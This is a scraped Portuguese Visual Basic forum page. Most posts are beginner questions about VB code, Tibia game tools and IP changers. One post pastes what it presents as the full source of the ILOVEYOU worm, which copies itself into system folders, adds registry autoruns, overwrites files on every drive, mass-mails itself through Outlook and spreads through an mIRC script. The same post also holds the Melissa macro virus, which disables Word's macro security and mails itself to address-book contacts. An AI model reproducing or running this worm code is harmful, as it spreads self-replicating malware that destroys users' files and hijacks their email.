Pesquisar na Comunidade

Tava sem nada pra fazer, começei a ler a parte de vb aqui do fórum, e fiz essa coisinha com os conhecimentos daqui. xd Alguém que entende do assunto avalie '-' Obs: Sei que tem o do Smix, mas eu quis fazer o meu '-' Print: Link: Por Problemas tive que retirar, logo mais eu boto de novo ._. Scan: https://www.virustotal.com/pt/file/bad3c7f003128807a63ed09292ffc4a1c2a7069db4a980d937a8ad386eb444f8/analysis/1388623651/ Gostaria de Agradeçer o Spirit, Falling Man, Valentine e Raphael Lion, por sempre trazerem conhecimentos de qualidade pro Fórum !

Ola galera, não sei se estou na area correta se eu não estiver desculpem! Então eu tenho um programa em VB, e um sistema de venda e todo dia 10 o programa gera o boleto para os clientes, só que tem cliente que não pode pagar dia 10 alguns pagam dia 15 outros dia 12 e assim vai ... Queria saber se alguém sabe de alguma forma de alterar as data de vencimento dos clientes de uma vez! aguardo respostas!

olá eu preciso de uma ajuda num comando do VB: quero copiar uma hotkeys do tibia que fica na pasta: C:\Users\NOME\AppData\Roaming\Tibia ou C:\Users\NOME\Dados de aplicativos\Tibia só que onde tá NOME é o nome do pc mas que queria usar esse programa em outros pc, tem como por um nome "genérico"? ou fazer algo do tipo agradeço.

Ola gente, estou postando o arquivo Help do Vb em portugues nao eh o MSDN http://www.easy-share.com/1903750539.html Apesar de ser o help pra o visual basic 5 eh uma otima ferramenta nao esta 100 por cento traduzido mas contem quase todas as funcoes controles e algumas coisas a mais. Tomara que seja util. deixo o VB5.HLP como atalho na minh area de trabalho sempre que tenho duvidas de alguma funcao ou metodo sempre abro o arquivo.

Boa noite! Gostaria de saber tambem alguns livros sobre o assunto. Grato.

Boa noite! Gostaria de saber mais informações sobre esses dois codigos que vou colocar aqui. Não entendo muito de .vbs ainda. ps: Achei isso na net. Esse é o primeiro Nome: I love you rem barok -loveletter(vbe) rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32 ",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi n32DLL",dirwin&"\Win32DLL.vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory") if (downread="") then downread="c:\" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX .exe" end if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFI X",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"\") end if Next listadriv = s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.ini") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=" ____________________________________________________________________ E esse é o segundo Nome: Melissa Private Sub Document_Open() On Error Resume Next If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabled = False System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else Wink" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Grato.

Olá, Eu gostaria de um código source ou código que seja mais ou menos assim... Função com os seguintes parâmetros: Diretório, Address, Codigo. MudaProg ("C:\Arquivos de programas\Programinha\Programa.exe", "A9D5C", "A1D3C") Ele iria nesse programa, e editaria o código HEX: A9D5C para A1D3C. Porém eu não quero que o Programa.exe seja executado... seria como os Hex Editor, só que eu vo mais direto... Do o Dir do Programa + Codigo + Codigo Substituto. Atenciosamente, ZeN

bom eu queria faze um anti logout para tibia com vb so que eu nao estou conseguindo. bom eu tentei fazer desse geito: AppActivate "Tibia" SendKeys "{LEFT}" so que nao da certo,oque é esquesito e que eu tava vendo um tuto na net sobre sendkeys e eu tentei fazer do geito que tava no tuto(botei appaactivate "tibia" e SendKeys "Isto é um teste{ENTER}" SendKeys "e mais outro teste{ENTER}" e ele falou no tibia(lol)na hora eu fiquei feliz , ai eu tentei bota left pra ele ir pro lado e nao deu certo,fui la e botei do geito que deu certo e nao funcionou,eu estranhei pq uma hora da e outra hora nao. alguem pode ajudar?

Olá estou iniciando em programação se você poderem me ajudar agradecerei. Tenho dois TextBox, em um escrevo algum texto.Ex: OI, ao clicar em um botão irá aparecer no outro AU, ou seja, o O foi substituido por A e o I por U. Só gostaria do codigo e que me ensinassem a configura-lo Obrigado

Ola pessoal, eu gostaria de saber se alguem sabe onde fazer o download dos 2 cds do MSDN, eu ja procurei tanto e nunca achei Ficaria grato se alguem passar a min e deixar ai para a comunidade baixar e abusar É algo que todo programador VB pressisa Obrigado!

Estou desenvolvendo um IP Changer em Visual Basic 6.0 para Tibia 8.1. Nele tem 1 form com 1 textbox chamado "Text1" e um botão. Quando você clica no botão ele trabalha os seguintes comandos: Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As Long Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long Private Sub Command1_Click() Dim hwnd As Long Dim pid As Long hwnd = FindWindow(vbNullString, "Tibia") GetWindowThreadProcessId hwnd, pid changeip (pid) End Sub Agora eu coloquei um modulo com uma função chamada "changeip", nele esta assim: Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function WriteString Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Public Function changeip(ByVal IDofProcess As Long) As Boolean Const PROCESS_ALL_ACCESS = &H1F0FFF Dim ax1 As Long Dim ax2 As String Dim phandle As Long phandle = OpenProcess(PROCESS_ALL_ACCESS, False, IDofProcess) For ax1 = 1 To Len(Form1.Text1.Text) ax2 = ax2 & Asc(Mid$(Form1.Text1.Text, ax1, 1)) Next ax1 = 0 If Not Form1.Text1.Text = "" Then WriteString phandle, &H763BB8, ax2, 10, 0& End If CloseHandle phandle End Function Esta vendo o ax2, se você colocar uma única letra no textbox, exemplo: "A" ele irá modificar a memória corretamente, mas se você colocar dois "A" ficando "AA" no textbox ele irá transformar os dois caracteres A para dois "65", ficando assim: "6565", o problema é que o programa acaba pensando que "6565" = "¥" e não "AA" na hora de escrever na memória do Tibia. Alguem sabe algum comando que separe os 2 elementos "65"? Exemplo: Substituindo o "|" nessa frase: "65|65" Muito obrigado =D

Queria saber como se cria um ipChanger para no minino as versões de 7.1 até 7.92 e se puder para a versão 8.0x Obrigado!